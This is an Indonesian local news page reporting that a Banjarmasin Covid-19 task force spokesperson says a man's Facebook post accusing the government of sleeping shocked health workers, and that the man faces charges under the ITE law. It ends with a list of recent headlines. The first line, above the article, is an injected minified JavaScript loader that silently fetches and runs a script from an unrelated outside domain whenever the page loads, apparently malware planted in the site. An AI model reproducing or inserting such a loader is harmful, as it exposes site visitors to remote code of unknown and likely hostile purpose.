(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Gugus Tugas Covid-19: Postingan Facrul Bikin ‘Shock’ Petugas Medis di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Postingan Fachrulraji (37) di medsos yang mengatakan pemerintah tidur dalam menghadapi Covid-19, melukai perasaan para petugas medis yang ada di garda depan melakukan penyembuhan pasien di puskesmas dan rumah sakit. Juru Bicara Percepatan Penanganan (P2) Covid-19 Kota Banjarmasin Dr. Machli Riyadi mengungkapkan, akibat dari berita hoax atau bohong yang disampaikan Fachrul, banyak petugas Covid-19 turun semangat kerjanya di lapangan.

“Teman-teman dokter perawat bidan puskesmas, yang selama ini sudah mempertaruhkan nyawanya, sudah melakukan screening dan tracking dalam upaya memutus mata rantai penularan dan tiba-tiba merasa shock saja. Hampir semua kepala puskesmas menyampaikan laporan ke saya terhadap ujaran yang ditulis sodara Fachruraji di Facebook,” ungkapnya.

Menurutnya, dengan ditemukannya orang itu tentu pihaknya kembali bersemangat. Ia pun mengimbau agar masyarakat tidak membuat berita hoaks atau bohong apalagi sampai menghasut agar memusuhi petugas covid-19. “Mari kita bahu-membahu membantu pemerintah untuk mengurangi penyebaran covid19 ini, dimana kita tau semakin hari semakin naik jadi kita harus kerjasama sebagai masyarakat bantu apa yang kita bisa buat kita perbuat, jangan malah kita menyebarkan berita bohong,” tuturnya.

Ia mengingatkan, pemerintah bekerja untuk masyarakat, maka tetaplah dirumah, tidak usah kemana-mana untuk sementara waktu dan tetap mematuhi protokol kesehatan, dan jangan lupa berdoa. “Biar kami saja bekerja gugus tugas ini dari pemerintahan semua gabungan semua stakeholder yang ada siang malam bahu membahu 24 jam demi terputusnya mata rantai covid19 ini,” pungkas Machli.

Sementara itu, atas perbuatan pelaku ia dijerat dengan pasal pelanggaran UU ITE dengan ancaman 5 tahun penjara. (Kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.